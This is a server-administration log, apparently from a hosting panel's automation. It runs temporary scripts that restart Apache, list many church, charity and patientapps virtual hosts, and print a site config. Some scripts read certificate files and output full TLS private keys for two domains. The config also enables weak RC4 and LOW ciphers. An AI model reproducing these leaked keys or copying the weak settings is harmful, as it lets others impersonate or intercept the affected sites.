2025-12-15 06:00:26:
PUT: /tmp/pkp896666
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-15 06:00:26:
chmod 755 /tmp/pkp896666; /tmp/pkp896666; rm /tmp/pkp896666
2025-12-15 06:00:26:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:00:26: Establishing a connection
2025-12-15 06:00:26:
PUT: /tmp/pkp354241
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-15 06:00:26:
chmod 755 /tmp/pkp354241; /tmp/pkp354241; rm /tmp/pkp354241
2025-12-15 06:00:26:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:00:26:
PUT: /tmp/pkp927751
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:00:26:
chmod 755 /tmp/pkp927751; /tmp/pkp927751; rm /tmp/pkp927751
2025-12-15 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 1700
<VirtualHost *:80>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/hopeinstoughton/backup_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/backup_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-15 06:00:26:
PUT: /tmp/pkp426157
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:00:26:
chmod 755 /tmp/pkp426157; /tmp/pkp426157; rm /tmp/pkp426157
2025-12-15 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt 5381
0e:14:8b:61:48:ec:da:d4:09:25:29:7b:c1:78:ae:a3
-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBS7YK3EJBDrSldTWLr7PKZ1MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTU1WhcNMjYwMzE1MDUwMTU0WjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKihO6UG/Gx1R+G3dNdJgMZs1C+1R7SXuYp077WK+TZPacnP
SHqwTTDpDvifNRBq/qbPK6jEQU3fwLCFENtRUuC/t6uLDcIFkpToYtFBLMHwRxjv
TZsFnkAvTWv3ZsKXAYlNssI1/spJAe/vOybOfLFrMXZEmAu8Yy1/VTIm/FupH/v6
xWQTmYD4+W1yYC5dRlG6M2PhMOzgeppNv1ivJI4dMloX0aSYm+uCEB438H8+Bmd9
40r3qflRlNePKtqLIOWaLe9HKLdBZAcgMZ+r8tIS/dqJpst0eB47zfgNPs4Y6hyX
nRkUwxeR6sPkTikmY9mQdU4k3s//z0/G519+AXcCAwEAAaOCAiwwggIoMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUDn2Tu88sf9mRUsMp4woK+T+vN5EwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzc3LmNybDCCAQYGCisG
AQQB1nkCBAIEgfcEgfQA8gB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8z
E/X6AAABmyCYhiYAAAQDAEgwRgIhAJI81LwNM97nrCRMFroHGmh6KItTeCJNXQmQ
wMeQYAz6AiEA1B9fB4pZilG0Tg+n+XIRut/QVJseufejrXi5mqrRugcAdwCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZsgmIZgAAAEAwBIMEYCIQCQ
NoGa7GWqgymGYe4BSzhI1w65EvKb7P7mfAR6ndn3TQIhAMvxk9JrYnES6KH2/4xj
jWw9ZO8muartebhKzRXlbI6TMA0GCSqGSIb3DQEBCwUAA4IBAQA2/IL2mAbyTnug
Sxt88Fsb1ndnSO1OWs84eS5qxbDSZctjqQHUpBVXT/lcASc5zVMFG9SNcDslDDVc
ZPIORdhmfK4EPK5vC1Fdtj2mygn8MYIi+/4P7LyorTeblbhYTe3BLXA/8cA2N3w2
4RBtSl/LnR7TH9MJZiHYY9HseuDJfTVFdidj/yThts6ZmTNEuIh84IqfM60u6lar
nMTNRVvMWZcOhlY95zaPyKHE1V7k7qNmsvAFD7wAAUwOzhDKzT5fsAYJTfC4f0GC
wP+cVmWehEgrWtKBn9UWo8XABO9r/7QivbOt/uKoy0Uy+TdPURP2ZM2TwAzf6JNU
byeeQaOF
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCooTulBvxsdUfh
t3TXSYDGbNQvtUe0l7mKdO+1ivk2T2nJz0h6sE0w6Q74nzUQav6mzyuoxEFN38Cw
hRDbUVLgv7eriw3CBZKU6GLRQSzB8EcY702bBZ5AL01r92bClwGJTbLCNf7KSQHv
7zsmznyxazF2RJgLvGMtf1UyJvxbqR/7+sVkE5mA+PltcmAuXUZRujNj4TDs4Hqa
Tb9YrySOHTJaF9GkmJvrghAeN/B/PgZnfeNK96n5UZTXjyraiyDlmi3vRyi3QWQH
IDGfq/LSEv3aiabLdHgeO834DT7OGOocl50ZFMMXkerD5E4pJmPZkHVOJN7P/89P
xudffgF3AgMBAAECggEAIzpDlo8mDpZVpO7JZuxBDbLQhQLu7ug/Z5BUP22/8DuY
0wMNlivchFo7uW6xDDP97OUcrs4JAna672VtBxQvJyqF+T08a4r0e00sz6A49G74
u1nKsZbz317CYsq1WfNn68IilPXou2OTFwe4KLw8SmglVhqwVMtPQML4DlkcoR0V
8gRosu0tFfwI/pvzsGfpJfZkhCzeu6F3MoRb8UqMXcXvccZ2HtbBMZ4RXV2/rO0L
udzFktpuUEo2ZKKc1kmC/R4jfXvzJ2dhe7rvusOd8Ll9hcyfEZ8PcaSlui1h5HVn
X/2DhKHysbq//1rm+yNvwqg/H5QjY0WNUcHWq7N0KQKBgQDTLWuEs2lFiplnX1Uk
0nonAVXoOLwhh5/4YVGFJMq5RT9/fm5P3BkSyKiHn1Dp44A3dVl0FOYagafESYzd
n+jC5Hjd4JjgIlhp9YIC/z6qNCu+xm0zL5vi6+JEkmcP0hs43Wa1Gp++bCaR5B1f
X1YXXj/Jjm805sPoCgv0nqCQgwKBgQDMa/AA7Bdbs1ZVepp34QcDTmGEbmCF1zJI
S5RsggrekrNOJ1+wBM2LfDRe09jjl6IMOOgRWigNLp4T9yGhorP+oXd2sgDTOUvp
iY91OAIqfL4y4bwjdnvzGwzBC/z68xqMEShZ/tdPSEWjN5FpX9eJdJotr/q3s+0K
iCTirm0Q/QKBgA1Yu4jhhe+9OMDNx6XSH6JDdVh97XX5CmU6UVqm3qEi/UZjiTlG
4dbME8quiQCfPkVDB2pMv9ZBB4diVqLTLnTS18i+HytbQFdCCvuBgkZjkbg29kPb
6HBJFD3dOuJHFy1a4NjlW98/Gpjx3+FdNyW28TUd6W1ggFUz/VlyhRddAoGANL+Z
c7N4J4p0OaRkXZCsbZb5JOISeBbae7s89m7r/RjfucgBMftbSqXnIZ0Kt1e2Ue8R
OwEHmrcvxTkc7Yd9aLQjjnZKLjb3trBvWzDzpiEAN0L2eDQnsciGFv5P7jVy4TfA
MNDIoEWm6oH5PLaleGulKSriyCpefTw6QF//9sUCgYEAuX5MXkGiGqX864b/TyKa
FnvFlvuzlVgDxGdUTQ3m6db7TsTmf04fF6N2DKsKJQF5WTzBgLBQra90fKDzBueQ
fgxz1MpAVIfs4d7azln1p91x9ZmjTzRh1AO+5ip3lb5lrivx2lKWEOrv3Uwpgj8A
G0OXvpeEjfGNIrM3av1/pes=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-15 06:00:27: Establishing a connection
2025-12-15 06:00:27: Establishing a connection
2025-12-15 06:00:27:
PUT: /tmp/pkp253319
#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-15 06:00:27:
chmod 755 /tmp/pkp253319; /tmp/pkp253319; rm /tmp/pkp253319
2025-12-15 06:00:27:
0
2025-12-15 06:00:53: Establishing a connection
2025-12-15 06:00:53:
PUT: /tmp/pkp440459
#!/bin/bash
temp_file=$(mktemp)
TARGET=9165176ee0fe7a5f957c52572458ff70.crt
cat > $temp_file <<'endmsg'
6b:b6:d5:39:c6:6d:6f:e7:8c:44:c1:95:80:1b:51:58
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBfzWDL+w/LHu2PX62hgSo7sBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjIzWhcNMjYwMzE1MDUwMjIyWjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAti8ZVnZVa/qnBSfQTYed1ACG/XBUExjekQLQvymPpwwxtKzTduzY
dP8kN8bwcH1BYwUqr4pFpsj0ka/Sq2agbvTqDoOq5nOYttJ3xaNBu4DhH5hCcOQf
MBIGhITWkBZSrc+0IqMfFJB4ZyUnW8tqo4YLQlEgb9N0FbjGg6rxqlGPfAiSHdAp
Ehzix6e20ZPvbDB2yDudbdku8qKi3jlgBk/dT/jkXM+K7OPo/tF1TudnhN33zup1
gksK2BfRZt4RLQCUdHACQhJHINS/eJoKREq24Dqc1Cz5O460Cupstgpcb9SKjzH7
wvDPsZwXZNdEKylqdDp4yJrJj3oh1aZK6wIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBShc+/urB6H1xVHg2FpMYPozHUbcTAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCg
HoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yLmNybDCCAQMGCisGAQQB1nkCBAIE
gfQEgfEA7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmyCY
8vQAAAQDAEYwRAIgWbkBIclTfpwf6wavJZeIb8L+Wtcn4TGJoXkaBbRUrZYCIE04
mUNzf0buPyXBgCAH125j9PxcESCoSDizzGzn4vlzAHYA0W6ppWgHfmY1oD83pd28
A6U8QRIU1IgY9ekxsyPLlQQAAAGbIJjzzwAABAMARzBFAiBoN75P9ZIMSLLch4ky
6J/T8b1hPhvxEJ7ezWL0GhQQJwIhAP6uZpo0FZcTeeTDjeGzAwJ5ffc65kpoIHIV
mwGKMClwMA0GCSqGSIb3DQEBCwUAA4IBAQBLwCR6H5sDHhu3Bf+Q21qMm4W3GAKM
M9Hhbzng/9CWAh8yPAN0xvIVe+fwF5XozD6r+NVBiLsrZ6OtWeVhRVDFp+Lkl0b9
fo1vJ0bTTegyDGkAvCvfI1NaPPpN85tFMsPFTF34sBk6HdClKBf9J8oYr14o7m0u
v5oNN8iu+mo20+/EbpvLvnTGfBHlDOEYQG/vHWaMrY8pwSy4R7qwp3tcwZqe/vv3
ucdOu14w+1aymc64N0ilRPQfYN+BHskqLHGzaCevbNbi8S3TvIqn7VX3O3eyxYFo
0YJGDWHiyq09mWEbuof3cjUPl9Rl2flMe6Fysm4WH4VkHhdL6DyIW11E
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC2LxlWdlVr+qcF
J9BNh53UAIb9cFQTGN6RAtC/KY+nDDG0rNN27Nh0/yQ3xvBwfUFjBSqvikWmyPSR
r9KrZqBu9OoOg6rmc5i20nfFo0G7gOEfmEJw5B8wEgaEhNaQFlKtz7Qiox8UkHhn
JSdby2qjhgtCUSBv03QVuMaDqvGqUY98CJId0CkSHOLHp7bRk+9sMHbIO51t2S7y
oqLeOWAGT91P+ORcz4rs4+j+0XVO52eE3ffO6nWCSwrYF9Fm3hEtAJR0cAJCEkcg
1L94mgpESrbgOpzULPk7jrQK6my2Clxv1IqPMfvC8M+xnBdk10QrKWp0OnjImsmP
eiHVpkrrAgMBAAECggEAKLpQxMaBhDktu3ZSF/L4cpuHkgLZmMdXgj2J4yJsbeDI
/+YfBBggr88WDq4XtF4cDwHpsAKOXaHRIvyWcSDpPsTbylDfFNPE0SIuCm3b1QoT
yddlCw3Edx+ge2GjAeUrqJWlZJTo7tT5Rb3Flbzc4x+lRrcSNE2mRvDe2DKQAg4G
mZIYW8LNazQyNP8xGPjcdfOEx9bI5Xa+var/lad7DtTlXR2loVcxSOK8oCYh0F2G
0khPmctGJ3SDDKkrLGdI6277U+aXXuab0dC8IkNvOybWn55+8uvS03dnNcR3UiWl
3iOKk4QWU+X4QlKrruOcZcGsJFTlj94gRMoXagZnoQKBgQDv1aZeu3qAMtg/JxgN
Glj8rTZvbMVRh9leNTefGgJC8bSwaAD/I+6Hh1NYPGQD/L7vAz9VOn6r8+HScB3f
FtgfjnO/zvZ2BPqQIYE6JiOHdgWjA6ueN3zySwWMayju5E8F8NbmvzG/M9q8F6t6
azfbNHBXZqugu/hrYK6cdjbKMQKBgQDCdq/jShixRtIzLwfggkUKSSNAsrajMLQZ
s2kSHjf5jU/YUW+7KhUOFscSrL9bk1g9PZOhBdeCtQhbhjf6tQuZeM9JEotCykbK
5FaCdOAO1+D+tgK1sGa/traA380BOXz+QpQouu8iDWUWccCzl9ZkqK+15ziZGPVU
DMA60ATD2wKBgD8J/0LjMF3F/4UJ945qIH254ZcEFhFKDd5vSoFtSq7h7UZ479og
TbAd59BHf1p08pLMXbc/OtBjuDWh9pgO3xvcS5xc//chc+Kyi88G+0u9v9mLO27I
0vS0t26jNA0mwYakOThJhP/m11WdOxtgVzws2mJ+wBntjmxa60qA4AHhAoGAaRBW
1yYhUSZCSwUN7G51fqklMr9bja+ynnAgRHmvJFUE3oqhIy4JUiNcSuqqOH/THMM4
D7doSGYmrcxGUl2edryewYwTUXKX7OaRFsqug1Z/aR5NOHymBs5grCA+UnsM3RJ7
mcXljTBPfWDYDC/s1VWOGWljWtPxOAfrk9rvuCECgYB42b4JuRAaq672oAMb1WiA
qUkEqLxZdQZgE5S/yssiNoLR2I0bXojQDTvhlIZgcPuahXARUB9WIB2o/Z/DdDai
ugsWyTizhD9h3Qoi4La/WS4aYfXgztLG37skkn8mnl9XYuBG5OHnZvIXwIfHWFx1
sUuDHuYWlxn0jjRuWdy/4w==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
